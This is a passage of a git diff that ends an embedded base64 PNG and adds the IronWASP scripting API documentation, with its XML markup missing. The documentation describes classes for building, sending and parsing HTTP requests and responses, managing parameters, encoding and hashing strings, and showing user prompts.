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 + + + \ No newline at end of file diff --git a/Iron/app.config b/Iron/app.config new file mode 100644 index 0000000..49cc43e --- /dev/null +++ b/Iron/app.config @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/Iron/bin/Debug/APIdoc_Py.xml b/Iron/bin/Debug/APIdoc_Py.xml new file mode 100644 index 0000000..9003333 --- /dev/null +++ b/Iron/bin/Debug/APIdoc_Py.xml @@ -0,0 +1,2843 @@ + + + Request + Non-Static + Object that represents a HTTP request. [i[br]]Has methods to create and send HTTP requests. + + + Request(string FullUrl) + Creates Request object from Url, Request Method defaults to GET. + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org + + + + + Request(string Method, string FullUrl) + Creates Request object from Url and sets the mentioned method. + + + string + Method + Request method, Eg: GET or POST + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org + + + + + Request(string Method, string FullUrl, string BodyString) + Creates Request object from Url, sets the mentioned method and sets the body. + + + string + Method + Request method, Eg: GET or POST + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org/index.html + + + string + BodyString + Body of the request as string. + + + + + + + FullUrl + string + Non-Static + Entire Url along with scheme and hostname.[i[br]]Eg: http://ironwasp.org/index.html + + + Url + string + Non-Static + Url without the scheme and hostname.[i[br]]Eg: /main/index.aspx?q=123 + + + UrlPath + string + Non-Static + The Path section of the Url without the QueryString.[i[br]]Eg: /main/index.aspx + + + UrlPathParts + string[] + Non-Static + Array of strings where each element is a part of the UrlPath property.[i[br]]Eg: ['main','index.aspx'] + + + SSL + bool + Non-Static + Bool value stating if the request is a SSL request or not. [i[br]]Set this to True to create a SSL request.[i[br]]Alias - Ssl + + + Method + string + Non-Static + HTTP Method of the Request. [i[br]]Eg: GET, POST etc. + + + HttpVersion + string + Non-Static + Version number of the HTTP Request - HTTP/1.1 or HTTP/1.0 + + + Query + Parameters + Non-Static + Contains the QueryString parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + Body + Parameters + Non-Static + Contains the Request Body parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + Cookie + Parameters + Non-Static + Contains the Cookie parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + Headers + Parameters + Non-Static + Contains the Request Headers in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + Host + string + Non-Static + Hostname of the target server. [i[br]]Eg: www.ironwasp.org + + + HasBody + bool + Non-Static + [READ-ONLY] Boolean value representing the presence of a Body in the Request. + + + BodyString + string + Non-Static + Entire Body of the Request as a single string. [i[br]]Encoding charset used is taken from the Content-Type header or ISO-8859-1 is used if none is present. + + + BinaryBodyString + string + Non-Static + Entire Body of the Request as a Base64 encoded string. [i[br]]If a Binary Request body must be assigned then it can be assigned to this property or to the BodyArray property.[i[br]](IronWASP stores binary body as base64 string in its logs). + + + BodyArray + byte[] + Non-Static + Entire Body of the Request as a Byte Array. + + + BodyLength + int + Non-Static + Length of the Request Body. + + + CookieString + string + Non-Static + Gives the value of the 'Cookie' header of the Request. [i[br]]This property can be assigned a new string to update the Cookie value as well. + + + ContentType + string + Non-Static + Value of the Content-Type Header, including the Charset information(if present). + + + IsBinary + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Request is in text or binary format. [i[br]] This property can be controlled by setting a suitable value in the HTTP API section of the config panel + + + Response + Response + Non-Static + [READ-ONLY] Response object associated with this Request. [i[br]]Generated on calling the Send() method. + + + + + Send() + Non-Static + + Response + Sends the request to the server and returns the Response object. [i[br]]Call blocks the thread. + + + Follow(Response ResponseToFollow) + Non-Static + + + Response + ResponseToFollow + A 3xx response that must be followed + + + Response + If the response status code is a 301, 302, 303 or 307 then it is followed else the response passed in is returned. + + + GetRedirect(Response RedirectResponse) + Non-Static + + + Response + RedirectResponse + Response to the Request which contains a Redirect header + + + Request + If the response status code is a 301, 302, 303 or 307 then the a Request object specific to follow the redirection is returned.[i[br]]If the Response is not a redirect then a null value is returned. + + + SetCookie(Response Res) + Non-Static + + + Response + Res + IronWASP Response object + + + None + Reads the contents of the Set-Cookie headers from the Response object and adds them as cookies in the Request. + + + SetCookie(SetCookie[] SetCookies) + Non-Static + + + SetCookie[] + SetCookies + A list of SetCookie objects. This is usually the SetCookies property of the IronWASP Response object. + + + None + Sets the Cookie of the request with the provided value. + + + SetCookie(SetCookie SetCookieObject) + Non-Static + + + SetCookie + SetCookieObject + A SetCookie object + + + None + Sets the Cookie of the request with the provided value. + + + SetCookie(CookieStore Store) + Non-Static + + + CookieStore + Store + CookieStore object where cookies are stored + + + None + Reads the CookieStore objects and the Cookies relevant to this Request are added. [i[br]]Revelant cookies are picked based on the Host, Path and Secure attributes of the cookies stored in the CookieStore. + + + GetBodyEncoding() + Non-Static + + string + Returns the Encoding Charset of the request from the Content-Type header. [i[br]]If no Charset is specified then ISO-8859-1 is returned. + + + GetHeadersAsString() + Non-Static + + string + Returns the entire Request header section containing the method, url, HTTP version and headers as a single string. + + + ToString() + Non-Static + + string + Returns the entire Request as a single string. + + + ToBinaryString() + Non-Static + + string + Returns the entire Request as a specially formatted string that preserves any binary content in the request body. + + + GetFullRequestAsByteArray() + Non-Static + + byte[] + Returns the entire Request header section containing the method, url, HTTP version and headers as a Byte Array. + + + FromProxyLog(int ID) + Static + + + int + ID + ID of the Request in the Proxy Log. + + + Request + Creates a Request object from the specified record in the Proxy Log and returns it. + + + FromProxyLog() + Static + + Request[] + Creates an array of all Request objects from the Proxy Log and returns it. + + + FromTestLog(int ID) + Static + + + int + ID + ID of the Request in the Manual Testing Log. + + + Request + Creates a Request object from the specified record in the Manual Testing Log and returns it. + + + FromTestLog() + Static + + Request[] + Creates an array of all Request objects from the Manual Testing Log and returns it. + + + FromProbeLog(int ID) + Static + + + int + ID + ID of the Request in the Probe Log. + + + Request + Creates a Request object from the specified record in the Probe Log (Crawler) and returns it. + + + FromProbeLog() + Static + + Request[] + Creates an array of all Request objects from the Probe Log(Crawler) and returns it. + + + FromShellLog(int ID) + Static + + + int + ID + ID of the Request in the Scripting Shell Log. + + + Request + Creates a Request object from the specified record in the Scripting Shell Log and returns it. + + + FromShellLog() + Static + + Request[] + Creates an array of all Request objects from the Scripting Shell Log and returns it. + + + FromScanLog(int ID) + Static + + + int + ID + ID of the Request in the 'Automated Scanning' Log. + + + Request + Creates a Request object from the specified record in the 'Automated Scanning' Log and returns it. + + + FromScanLog() + Static + + Request[] + Creates an array of all Request objects from the 'Automated Scanning' Log and returns it. + + + FromString(string RequestString) + Static + + + string + RequestString + String representing the entire request, usually the output of the ToString() method. + + + Request + Creates a Request object from the string and returns it. + + + FromBinaryString(string RequestBinaryString) + Static + + + string + RequestString + Specially formatted binary string representing the entire request, the output of the ToBinaryString() method. + + + Request + Creates a Request object from the string and returns it. + + + GetId() + Non-Static + + int + Returns the ID of the Request object in its respective log. + + + + + Response + Non-Static + Object that represents a HTTP response. Has methods to read and analyze the response. + + + + + Code + int + Non-Static + [READ-ONLY] Status code of the response. [i[br]]Eg: 200 + + + Status + string + Non-Static + [READ-ONLY] Status description of the response. [i[br]]Eg: OK + + + HttpVersion + string + Non-Static + [READ-ONLY] HTTP Version of the response.[i[br]]Eg: HTTP/1.1 + + + SetCookies + SetCookie[] + Non-Static + A collection of SetCookie objects. This is built by parsing the 'Set-Cookie' headers in the Response + + + Headers + Parameters + Non-Static + Contains the Request Headers in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + IsBinary + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is in text or binary format. [i[br]] This property can be controlled by setting a suitable value in the HTTP API section of the config panel + + + HasBody + bool + Non-Static + [READ-ONLY] Boolean value representing the presence of a Body in the Response. + + + BodyString + string + Non-Static + Body of the response represented as a string. + + + BinaryBodyString + string + Non-Static + Body of the response represented as a Base64 encoded string. + + + BodyArray + byte[] + Non-Static + Body of the response represented as a Byte Array. + + + BodyEncoding + string + Non-Static + Content Encoding used for the Response Body. + + + Html + HTML + Non-Static + Body of the Response represented as a HTML object. + + + IsHtml + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is HTML text or not. + + + IsJavaScript + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid JavaScript text or not. + + + IsCss + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid CSS text or not. + + + IsXml + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid XML text or not. + + + IsJson + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid JSON text or not. + + + + + ToString() + Non-Static + + string + Returns the entire Response as a single string. + + + + + Session + Non-Static + Represents an HTTP transaction, contains a Request and a Response object. + + + + + Request + Request + Non-Static + The Request object stored inside the Session. + + + Response + Response + Non-Static + The Response corresponding to the Request object, if available. + + + + + FromProxyLog(int ID) + Static + + + int + ID + ID of the Session in the Proxy Log. + + + Session + Creates an Session object from the specified record in the Proxy Log and returns it. + + + FromProxyLog() + Static + + Session[] + Creates an array of all Session objects from the Proxy Log and returns it. + + + FromTestLog(int ID) + Static + + + int + ID + ID of the Session in the Manual Testing Log. + + + Session + Creates an Session object from the specified record in the Manual Testing Log and returns it. + + + FromTestLog() + Static + + Session[] + Creates an array of all Session objects from the Manual Testing Log and returns it. + + + FromProbeLog(int ID) + Static + + + int + ID + ID of the Session in the Probe Log. + + + Session + Creates an Session object from the specified record in the Probe Log(Crawler) and returns it. + + + FromProbeLog() + Static + + Session[] + Creates an array of all Session objects from the Probe Log(Crawler) and returns it. + + + FromShellLog(int ID) + Static + + + int + ID + ID of the Session in the Scripting Shell Log. + + + Session + Creates an Session object from the specified record in the Scripting Shell Log and returns it. + + + FromShellLog() + Static + + Session[] + Creates an array of all Session objects from the Scripting Shell Log and returns it. + + + FromScanLog(int ID) + Static + + + int + ID + ID of the Session in the 'Automated Scanning' Log. + + + Session + Creates an Session object from the specified record in the 'Automated Scanning' Log and returns it. + + + FromScanLog() + Static + + Session[] + Creates an array of all Session objects from the 'Automated Scanning' Log and returns it. + + + GetId() + Non-Static + + int + Returns the ID of the Session object in its respective log. + + + + + Parameters + Non-Static + Base class for the QueryParameters, BodyParameters, HeaderParameters and CookieParameter classes. Used to store Key-Value pairs. Key is a string and Value is a list of strings.[i[br]] The Keys for HeaderParameters are case-insensitive, for others it is case-sensitive. + + + + + Count + int + Non-Static + Number of Parameters present in this object. + + + + + Get(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string + Returns the value of the parameter with the given name in the same decoded form as the application would see it. [i[br]]For example in the Url 'http://example.org/a?q=a%23b' the value of Query parameter 'q' will be returned as 'a#b' by the Get method as it will properly decode it before returning. + + + RawGet(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string + Returns the raw value of the parameter with the given name, as it appears in the HTTP Request string that is sent over the network. [i[br]]Depending on if this is Query/Body/Header/Cookie parameter the value will be the appropriate encoded form.[i[br]]For example in the Url 'http://example.org/a?q=a%23b' the value of Query parameter 'q' will be returned as 'a%23b' by RawGet method, whereas the Get method would decode it and return as 'a#b'. + + + GetNames() + Non-Static + + string[] + Returns the Names of all the parameters as a list. The form of parameter names is the same decoded form as the application would see it.[i[br]]For example in the Url 'http://example.org/a?q%23r=ab' the value of Query parameter name will be returned as 'q#r' by GetNames method. + + + RawGetNames() + Non-Static + + string[] + Returns the Names of all the parameters as a list. The form of the parameter names is as it appears in the HTTP Request string that is sent over the network. [i[br]]Depending on if this is Query/Body/Header/Cookie parameter name the value will be the appropriate encoded form.[i[br]]For example in the Url 'http://example.org/a?q%23r=ab' the value of Query parameter name will be returned as 'q%23r' by RawGetNames method, whereas the GetNames method would decode it and return as 'q#r'. + + + GetAll(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Returns all values of the parameters with the given name. The form of the parameter values is the same decoded form as the application would see it(Refer Get for example). [i[br]]Used when there are two or more parameters with the same name. + + + RawGetAll(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Returns all values of the parameters with the given name. The form of the parameter values is as they appear in the HTTP Request string that is sent over the network (Refer RawGet for example).[i[br]]Used when there are two or more parameters with the same name. + + + Set(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the decoded form you want the application to see it. [i[br]]Eg: If Set('q', 'a+b') is called on Query parameter of a Request then the in the Url it would become '?q=a%2bb' and so the value of q will be read by the application as 'a+b', as originally set. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + RawSet(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. [i[br]]Eg: If RawSet('q', 'a+b') is called on Query parameter of a Request then in the Url it would become '?q=a+b' and so the value of q will be read by the application as 'a b'. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + Set(string Name, int SubParameterPosition, string Value) + Non-Static + + + string + Name + Name of the parameter + + + int + SubParameterPosition + When there are two or more parameters with the same name then this indicates the zero-based index of the parameter position that must be set + + + string + Value + Value of the parameter in the decoded form you want the application to see it. + + + Void + Adds the Name/Value pair to the parameters list at a specified position if two or more parameters exist with the same name. [i[br]] If a parameter with that name exisits then it is overwritten. + + + RawSet(string Name, int SubParameterPosition, string Value) + Non-Static + + + string + Name + Name of the parameter + + + int + SubParameterPosition + When there are two or more parameters with the same name then this indicates the zero-based index of the parameter position that must be set + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. + + + Void + Adds the Name/Value pair to the parameters list at a specified position if two or more parameters exist with the same name. [i[br]] If a parameter with that name exisits then it is overwritten. + + + Set(string Name, string[] Values) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Values + Array of multiple values for the same parameter. The values are in the decoded form you want the application to see it. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + RawSet(string Name, string[] Values) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Values + Array of multiple values for the same parameter. The values of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + Add(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the decoded form you want the application to see it. [i[br]]Eg: If Add('q', 'a+b') is called on Query parameter of a Request then the in the Url it would become '?q=a%2bb' and so the value of q will be read by the application as 'a+b', as originally set. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]]If a parameter with that name exisits then this value is appened to the exisiting list. + + + RawAdd(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. [i[br]]Eg: If RawAdd('q', 'a+b') is called on Query parameter of a Request then in the Url it would become '?q=a+b' and so the value of q will be read by the application as 'a b'. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]]If a parameter with that name exisits then this value is appened to the exisiting list. + + + Remove(string Name) + Non-Static + + + string + Name + Name of the parameter + + + Void + Removes the specified parameter from the list. + + + RemoveAll() + Non-Static + + Void + Removes all parameters from the list. + + + Has(string Name) + Non-Static + + + string + Name + Name of the parameter + + + Bool + Checks if the given parameter name exists in the list and returns a bool value. + + + GetMultis() + Non-Static + + string[] + Returns the name of the parameters that have multiple values. [i[br]]Use GetAll to get those values. + + + + + Tools + Static + Collection of commonly required utilities + + + + + + + UrlEncode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a Url-Encoded version of the input. + + + HtmlEncode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a HTML-encoded version of the input. + + + Base64Encode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a Base64-encoded version of the input. + + + ToHex(string Input) + Static + + + string + Input + String to encode + + + string + Converts all characters to HEX string and returns it. + + + ToHex(byte[] Input) + Static + + + byte[] + Input + ByteArray to encode + + + string + Converts all bytes to HEX string and returns it. + + + HexEncode(string Input) + Static + + + string + Input + String to encode + + + string + Converts all characters to HEX string with a preceding '%' and returns it. + + + XmlEncode(string Input) + Static + + + string + Input + String to encode + + + string + Encodes the Input to make it suitable to be added as a XML node's value + + + UrlDecode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a Url-Decoded version of the input. + + + HtmlDecode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a HTML-Decoded version of the input. + + + Base64Decode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a Base64-Decoded version of the input. + + + Base64DecodeToHex(string Input) + Static + + + string + Input + String to decode + + + string + Base64 decodes the Input and returns the results as a Hex string. + + + HexDecode(string Input) + Static + + + string + Input + String to decode + + + string + Converts all the HEX characters to ascii equivalents. + + + md5(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a MD5 hash of the input. + + + sha1(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA1 hash of the input. + + + sha256(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA256 hash of the input. + + + sha384(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA384 hash of the input. + + + sha512(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA512 hash of the input. + + + Diff(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + DiffResult + Does a line-by-line Diff of two multi-line strings and returns a DiffResult object containg the result. + + + DiffLine(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + DiffResult + Does a word-by-word Diff of single line strings and returns a DiffResult object containg the result. + + + DiffLevel(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + int + Gives a value between 0 - 100 indicating the percent of difference between the two strings. 0 indicates the two strings are same. 100 indicates the two strings are fully different. + + + + + DiffResult + Non-Static + Represents a result of a Diff of two strings. Returned by the method - Tools.Diff() + + + + + Deleted + int[] + Non-Static + Line numbers in the first string that are not present in the second string + + + MissingAt + int[] + Non-Static + Line numbers in the second string where the deleted sections of first string should have appeared + + + Inserted + int[] + Non-Static + Line numbers in the second string that contain sections not present in the first string + + + UnChanged + int[] + Non-Static + Line numbers in the second string that remain the same as first string + + + DeletedSections + string[] + Non-Static + Sections of the first string that are not present in the second string + + + InsertedSections + string[] + Non-Static + Sections of the second string that are not present in the first string + + + UnChangedSections + string[] + Non-Static + Sections of the second string that are also present in the first string + + + + + + + AskUser + Static + Class that enables scripts to create UI pop-ups and get data from user at run-time. + + + + + + + ForBool(string Title, string Message) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + bool + Shows a pop-up window with the provided title and message along with a 'Yes' and a 'No' button and waits. Returns the user's input as a boolean. + + + ForString(string Title, string Message) + Static + + + 